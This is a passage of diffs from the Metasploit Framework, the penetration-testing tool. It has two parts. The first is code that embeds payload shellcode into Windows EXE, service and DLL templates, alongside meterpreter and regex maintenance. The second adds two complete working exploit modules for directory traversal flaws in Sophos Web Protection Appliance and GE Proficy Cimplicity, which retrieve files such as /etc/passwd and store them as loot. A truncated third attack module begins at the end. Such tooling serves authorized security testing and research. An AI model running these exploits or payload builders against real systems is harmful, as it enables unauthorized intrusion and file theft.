# Allow the user to specify their own EXE template
|
||||
set_template_default(opts, "template_x64_windows.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 4096)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
|
||||
#try to inject code into executable by adding a section without affecting executable behavior
|
||||
if(opts[:inject])
|
||||
injector = Msf::Exe::SegmentInjector.new({
|
||||
:payload => code,
|
||||
:template => opts[:template],
|
||||
:arch => :x64
|
||||
})
|
||||
exe = injector.generate_pe
|
||||
return exe
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :exe_sub
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x86_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], 'rb') { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_service(framework, code, opts={})
|
||||
|
||||
name = opts[:servicename]
|
||||
|
||||
# Allow the user to specify their own service EXE template
|
||||
set_template_default(opts, "template_x64_windows_svc.exe")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 8192)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
if name
|
||||
bo = pe.index('SERVICENAME')
|
||||
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
|
||||
pe[bo, 11] = [name].pack('a11')
|
||||
end
|
||||
|
||||
if not opts[:sub_method]
|
||||
pe[136, 4] = [rand(0x100000000)].pack('V')
|
||||
end
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :service_exe
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win32pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x86_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_win64pe_dll(framework, code, opts={})
|
||||
|
||||
# Allow the user to specify their own DLL template
|
||||
set_template_default(opts, "template_x64_windows.dll")
|
||||
|
||||
pe = ''
|
||||
File.open(opts[:template], "rb") { |fd|
|
||||
pe = fd.read(fd.stat.size)
|
||||
}
|
||||
|
||||
bo = pe.index('PAYLOAD:')
|
||||
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
|
||||
|
||||
if (code.length <= 2048)
|
||||
pe[bo, code.length] = [code].pack("a*")
|
||||
else
|
||||
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
|
||||
end
|
||||
|
||||
# optional mutex
|
||||
mt = pe.index('MUTEX!!!')
|
||||
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
|
||||
|
||||
return pe
|
||||
opts[:exe_type] = :dll
|
||||
exe_sub_method(code,opts)
|
||||
end
|
||||
|
||||
def self.to_osx_arm_macho(framework, code, opts={})
|
||||
|
|
|
@ -280,7 +280,7 @@ class RbMysql
|
|||
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
|
||||
# You should use place-holder in prepared-statement.
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
|
|
@ -32,7 +32,7 @@ class RbMysql
|
|||
alias get_client_info client_info
|
||||
|
||||
def escape_string(str)
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
|
||||
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
|
||||
case s
|
||||
when "\0" then "\\0"
|
||||
when "\n" then "\\n"
|
||||
|
|
|
@ -5272,7 +5272,7 @@ module RbReadline
|
|||
# Actually update the display, period.
|
||||
def rl_forced_update_display()
|
||||
if (@visible_line)
|
||||
@visible_line.gsub!(/[^\x00]/,0.chr)
|
||||
@visible_line.gsub!(/[^\x00]/n,0.chr)
|
||||
end
|
||||
rl_on_new_line()
|
||||
@forced_display=true if !@forced_display
|
||||
|
@ -8520,7 +8520,7 @@ module RbReadline
|
|||
count -= 1
|
||||
end
|
||||
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
|
||||
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
|
||||
|
||||
case @encoding
|
||||
when 'E'
|
||||
|
|
|
@ -116,7 +116,7 @@ module Rex
|
|||
if query
|
||||
@state[:query] = "?#{query}" # Can be nil
|
||||
end
|
||||
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/
|
||||
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n
|
||||
real_path = "/#{$1}"
|
||||
else
|
||||
real_path = path
|
||||
|
|
|
@ -176,7 +176,7 @@ module Rex
|
|||
:os_family => os_family,
|
||||
:os_version => os_version,
|
||||
:os_accuracy => 100,
|
||||
:os_match => os_info.gsub(/\x2e$/,"")
|
||||
:os_match => os_info.gsub(/\x2e$/n,"")
|
||||
}
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1627,8 +1627,8 @@ class PeBase
|
|||
if (rname & 0x80000000 != 0)
|
||||
rname &= ~0x80000000
|
||||
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
|
||||
unistr, trash = unistr.split(/\x00\x00/, 2)
|
||||
return unistr ? unistr.gsub(/\x00/, '') : nil
|
||||
unistr, trash = unistr.split(/\x00\x00/n, 2)
|
||||
return unistr ? unistr.gsub(/\x00/n, '') : nil
|
||||
end
|
||||
|
||||
rname.to_s
|
||||
|
|
|
@ -38,7 +38,7 @@ class Section
|
|||
return nil if !_section_header
|
||||
|
||||
# FIXME make this better...
|
||||
_section_header.v['Name'].gsub(/\x00+$/, '')
|
||||
_section_header.v['Name'].gsub(/\x00+$/n, '')
|
||||
end
|
||||
|
||||
def flags
|
||||
|
|
|
@ -4,6 +4,9 @@
|
|||
require 'rex/post/meterpreter/packet'
|
||||
require 'rex/post/meterpreter/extension'
|
||||
require 'rex/post/meterpreter/client'
|
||||
|
||||
# Used to generate a reflective DLL when migrating. This is yet another
|
||||
# argument for moving the meterpreter client into the Msf namespace.
|
||||
require 'msf/core/payload/windows'
|
||||
|
||||
module Rex
|
||||
|
@ -147,7 +150,7 @@ class ClientCore < Extension
|
|||
end
|
||||
# Get us to the installation root and then into data/meterpreter, where
|
||||
# the file is expected to be
|
||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
||||
path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
|
||||
|
||||
if (opts['ExtensionPath'])
|
||||
path = opts['ExtensionPath']
|
||||
|
@ -209,7 +212,7 @@ class ClientCore < Extension
|
|||
# Include the appropriate reflective dll injection module for the target process architecture...
|
||||
if( process['arch'] == ARCH_X86 )
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||
binary_suffix = "dll"
|
||||
binary_suffix = "x86.dll"
|
||||
elsif( process['arch'] == ARCH_X86_64 )
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
|
||||
binary_suffix = "x64.dll"
|
||||
|
@ -219,7 +222,7 @@ class ClientCore < Extension
|
|||
|
||||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
|
||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )
|
||||
|
||||
blob = migrate_stager.stage_payload
|
||||
|
||||
|
@ -297,7 +300,7 @@ class ClientCore < Extension
|
|||
client.binary_suffix = 'x64.dll'
|
||||
else
|
||||
client.platform = 'x86/win32'
|
||||
client.binary_suffix = 'dll'
|
||||
client.binary_suffix = 'x86.dll'
|
||||
end
|
||||
|
||||
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
|
||||
|
|
|
@ -46,11 +46,7 @@ class Priv < Extension
|
|||
|
||||
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
|
||||
|
||||
if( client.platform == 'x64/win64' )
|
||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
|
||||
else
|
||||
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
|
||||
end
|
||||
elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )
|
||||
|
||||
elevator_path = ::File.expand_path( elevator_path )
|
||||
|
||||
|
|
|
@ -249,7 +249,7 @@ class Registry
|
|||
response = client.send_request(request)
|
||||
cls = response.get_tlv(TLV_TYPE_VALUE_DATA)
|
||||
return nil if not cls
|
||||
data = cls.value.gsub(/\x00.*/, '')
|
||||
data = cls.value.gsub(/\x00.*/n, '')
|
||||
return data
|
||||
end
|
||||
|
||||
|
|
|
@ -157,7 +157,7 @@ class UI < Rex::Post::UI
|
|||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
|
||||
# include the x64 screenshot dll if the host OS is x64
|
||||
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
|
||||
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' )
|
||||
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' )
|
||||
screenshot_path = ::File.expand_path( screenshot_path )
|
||||
screenshot_dll = ''
|
||||
::File.open( screenshot_path, 'rb' ) do |f|
|
||||
|
@ -167,7 +167,7 @@ class UI < Rex::Post::UI
|
|||
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
|
||||
end
|
||||
# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
|
||||
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' )
|
||||
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' )
|
||||
screenshot_path = ::File.expand_path( screenshot_path )
|
||||
screenshot_dll = ''
|
||||
::File.open( screenshot_path, 'rb' ) do |f|
|
||||
|
|
|
@ -377,7 +377,7 @@ class Console::CommandDispatcher::Core
|
|||
case opt
|
||||
when "-l"
|
||||
exts = []
|
||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter')
|
||||
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
exts.push($1)
|
||||
|
@ -422,7 +422,7 @@ class Console::CommandDispatcher::Core
|
|||
|
||||
def cmd_load_tabs(str, words)
|
||||
tabs = []
|
||||
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter')
|
||||
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
|
||||
::Dir.entries(path).each { |f|
|
||||
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
|
||||
if (not extensions.include?($1))
|
||||
|
|
|
@ -71,7 +71,7 @@ class Utils
|
|||
ddm.payload.each do |param|
|
||||
case param.codepoint
|
||||
when Constants::SECMEC
|
||||
info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/
|
||||
info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/n
|
||||
when Constants::SECCHKCD
|
||||
info_hash[:security_check_code] = param.payload.unpack("C").first
|
||||
# A little spurious? This is always nonzero when there's no SECCHKRM DDM.
|
||||
|
|
|
@ -504,7 +504,7 @@ class Client
|
|||
return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
|
||||
|
||||
# Get the challenge and craft the response
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0]
|
||||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||
return resp unless ntlm_challenge
|
||||
|
||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||
|
|
|
@ -635,7 +635,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/n)
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
self.default_domain = info[2]
|
||||
|
@ -711,7 +711,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/n)
|
||||
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
|
@ -760,7 +760,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/)
|
||||
info = ack['Payload'].v['Payload'].split(/\x00/n)
|
||||
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
|
@ -841,7 +841,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
|
||||
|
||||
# Extract the native lanman and os strings
|
||||
info = data.split(/\x00/)
|
||||
info = data.split(/\x00/n)
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
|
||||
|
@ -1019,7 +1019,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
|
||||
|
||||
# Extract the native lanman and os strings
|
||||
info = data.split(/\x00/)
|
||||
info = data.split(/\x00/n)
|
||||
self.peer_native_os = info[0]
|
||||
self.peer_native_lm = info[1]
|
||||
|
||||
|
@ -1881,7 +1881,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
'C'+ # Short File Name Length
|
||||
'C' # Reserved
|
||||
)
|
||||
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/, '')
|
||||
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
|
||||
files[name] =
|
||||
{
|
||||
'type' => ((info[14] & 0x10)==0x10) ? 'D' : 'F',
|
||||
|
|
|
@ -875,7 +875,7 @@ module Text
|
|||
#
|
||||
def self.ascii_safe_hex(str, whitespace=false)
|
||||
if whitespace
|
||||
str.gsub(/([\x00-\x20\x80-\xFF])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
str.gsub(/([\x00-\x20\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }
|
||||
else
|
||||
str.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xFF])/n){ |x| "\\x%.2x" % x.unpack("C*")[0]}
|
||||
end
|
||||
|
@ -1076,7 +1076,7 @@ module Text
|
|||
def self.dehex(str)
|
||||
return str unless str.respond_to? :match
|
||||
return str unless str.respond_to? :gsub
|
||||
regex = /\x5cx[0-9a-f]{2}/mi
|
||||
regex = /\x5cx[0-9a-f]{2}/nmi
|
||||
if str.match(regex)
|
||||
str.gsub(regex) { |x| x[2,2].to_i(16).chr }
|
||||
else
|
||||
|
@ -1091,7 +1091,7 @@ module Text
|
|||
def self.dehex!(str)
|
||||
return str unless str.respond_to? :match
|
||||
return str unless str.respond_to? :gsub
|
||||
regex = /\x5cx[0-9a-f]{2}/mi
|
||||
regex = /\x5cx[0-9a-f]{2}/nmi
|
||||
str.gsub!(regex) { |x| x[2,2].to_i(16).chr }
|
||||
end
|
||||
|
||||
|
@ -1563,7 +1563,7 @@ module Text
|
|||
end
|
||||
|
||||
def self.unicode_filter_decode(str)
|
||||
str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/ ){|m| [$2].pack("H*") }
|
||||
str.to_s.gsub( /\$U\$([\x20-\x2c\x2e-\x7E]*)\-0x([A-Fa-f0-9]+)/n ){|m| [$2].pack("H*") }
|
||||
end
|
||||
|
||||
protected
|
||||
|
|
|
@ -62,12 +62,12 @@ class Input::Socket < Rex::Ui::Text::Input
|
|||
|
||||
# Handle telnet sequences
|
||||
case line
|
||||
when /\xff\xf4\xff\xfd\x06/
|
||||
when /\xff\xf4\xff\xfd\x06/n
|
||||
@sock.write("[*] Caught ^C, closing the socket...\n")
|
||||
@sock.close
|
||||
return
|
||||
|
||||
when /\xff\xed\xff\xfd\x06/
|
||||
when /\xff\xed\xff\xfd\x06/n
|
||||
@sock.write("[*] Caught ^Z\n")
|
||||
return
|
||||
end
|
||||
|
|
|
@ -316,7 +316,7 @@ module RKelly
|
|||
when Numeric
|
||||
object.value
|
||||
when ::String
|
||||
s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/, '')
|
||||
s = object.value.gsub(/(\A[\s\xB\xA0]*|[\s\xB\xA0]*\Z)/n, '')
|
||||
if s.length == 0
|
||||
0
|
||||
else
|
||||
|
|
|
@ -0,0 +1,128 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module abuses a directory traversal in Sophos Web Protection Appliance, specifically
|
||||
on the /cgi-bin/patience.cgi component. This module has been tested successfully on the
|
||||
Sophos Web Virtual Appliance v3.7.0.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Wolfgang Ettlingers', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-2641' ],
|
||||
[ 'OSVDB', '91953' ],
|
||||
[ 'BID', '58833' ],
|
||||
[ 'EDB', '24932' ],
|
||||
[ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ],
|
||||
[ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
},
|
||||
'DisclosureDate' => 'Apr 03 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']),
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 2])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def my_basename(filename)
|
||||
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||
end
|
||||
|
||||
def is_proficy?
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/cgi-bin/patience.cgi",
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 307 and res.body =~ /The patience page request was not valid/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def read_file(file)
|
||||
travs = ""
|
||||
travs << "../" * datastore['DEPTH']
|
||||
travs << file
|
||||
travs << "%00"
|
||||
|
||||
print_status("#{@peer} - Retrieving file contents...")
|
||||
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/cgi-bin/patience.cgi",
|
||||
'method' => 'GET',
|
||||
'encode_params' => false,
|
||||
'vars_get' => {
|
||||
'id' => travs
|
||||
}
|
||||
})
|
||||
|
||||
|
||||
if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID']
|
||||
return res.body
|
||||
else
|
||||
print_status("#{res.code}\n#{res.body}")
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{@peer} - Checking if it's a Sophos Web Protect Appliance with the vulnerable component...")
|
||||
if is_proficy?
|
||||
print_good("#{@peer} - Check successful")
|
||||
else
|
||||
print_error("#{@peer} - Sophos Web Protect Appliance vulnerable component not found")
|
||||
return
|
||||
end
|
||||
|
||||
contents = read_file(datastore['FILEPATH'])
|
||||
if contents.nil?
|
||||
print_error("#{@peer} - File not downloaded")
|
||||
return
|
||||
end
|
||||
|
||||
file_name = my_basename(datastore['FILEPATH'])
|
||||
path = store_loot(
|
||||
'sophos.wpa.traversal',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
contents,
|
||||
file_name
|
||||
)
|
||||
print_good("#{rhost}:#{rport} - File saved in: #{path}")
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,145 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
|
||||
'Description' => %q{
|
||||
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
|
||||
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
|
||||
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Unknown', # Vulnerability discovery
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-0653' ],
|
||||
[ 'OSVDB', '89490' ],
|
||||
[ 'BID', '57505' ],
|
||||
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
|
||||
],
|
||||
'DisclosureDate' => 'Jan 22 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
|
||||
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
|
||||
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
|
||||
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def normalize_uri(*strs)
|
||||
new_str = strs * "/"
|
||||
|
||||
new_str = new_str.gsub!("//", "/") while new_str.index("//")
|
||||
|
||||
# Makes sure there's a starting slash
|
||||
unless new_str[0,1] == '/'
|
||||
new_str = '/' + new_str
|
||||
end
|
||||
|
||||
new_str
|
||||
end
|
||||
|
||||
def target_uri
|
||||
begin
|
||||
# In case TARGETURI is empty, at least we default to '/'
|
||||
u = datastore['TARGETURI']
|
||||
u = "/" if u.nil? or u.empty?
|
||||
URI(u)
|
||||
rescue ::URI::InvalidURIError
|
||||
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
|
||||
raise Msf::OptionValidateError.new(['TARGETURI'])
|
||||
end
|
||||
end
|
||||
|
||||
def my_basename(filename)
|
||||
return ::File.basename(filename.gsub(/\\/, "/"))
|
||||
end
|
||||
|
||||
def is_proficy?
|
||||
connect
|
||||
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
|
||||
sock.put(req)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res and res =~ /gefebt\.exe/
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# We can't use the http client msf mixin because the Proficy Web server
|
||||
# return a malformed HTTP response with the file contents, there aren't
|
||||
# two new lines (but one) between the HTTP headers and the body content.
|
||||
def read_file(file)
|
||||
travs = ""
|
||||
travs << "../" * datastore['DEPTH']
|
||||
travs << file
|
||||
|
||||
print_status("#{@peer} - Retrieving file contents...")
|
||||
|
||||
connect
|
||||
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
|
||||
sock.put(req)
|
||||
res = sock.get_once
|
||||
disconnect
|
||||
|
||||
if res and res =~ /HTTP\/1\.0 200 OK/
|
||||
return res
|
||||
else
|
||||
return nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
@peer = "#{rhost}:#{rport}"
|
||||
|
||||
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
|
||||
if is_proficy?
|
||||
print_good("#{@peer} - Check successful")
|
||||
else
|
||||
print_error("#{@peer} - GE proficy not found")
|
||||
return
|
||||
end
|
||||
|
||||
contents = read_file(datastore['FILEPATH'])
|
||||
if contents.nil?
|
||||
print_error("#{@peer} - File not downloaded")
|
||||
return
|
||||
end
|
||||
|
||||
file_name = my_basename(datastore['FILEPATH'])
|
||||
path = store_loot(
|
||||
'ge.proficy.traversal',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
contents,
|
||||
file_name
|
||||
)
|
||||
print_good("#{rhost}:#{rport} - File saved in: #{path}")
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,128 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/struct2'
|
||||
require 'rex/proto/smb'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::DCERPC
|
||||
include Msf::Exploit::Remote::SMB::Authenticated
|
||||
|
||||
TRANS2_PARAM = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'uint16v', 'FID', 0 ],
|
||||
[ 'uint16v', 'InfoLevel', 0 ],
|
||||
[ 'uint16v', 'Reserved', 0 ],
|
||||
)
|
||||
|
||||
FEA_LIST = Rex::Struct2::CStructTemplate.new(
|
||||
[ 'uint32v', 'NextOffset', 0 ],
|
||||
[ 'uint8', 'Flags', 0 ],
|
||||
[ 'uint8', 'NameLen', 0 ],
|
||||
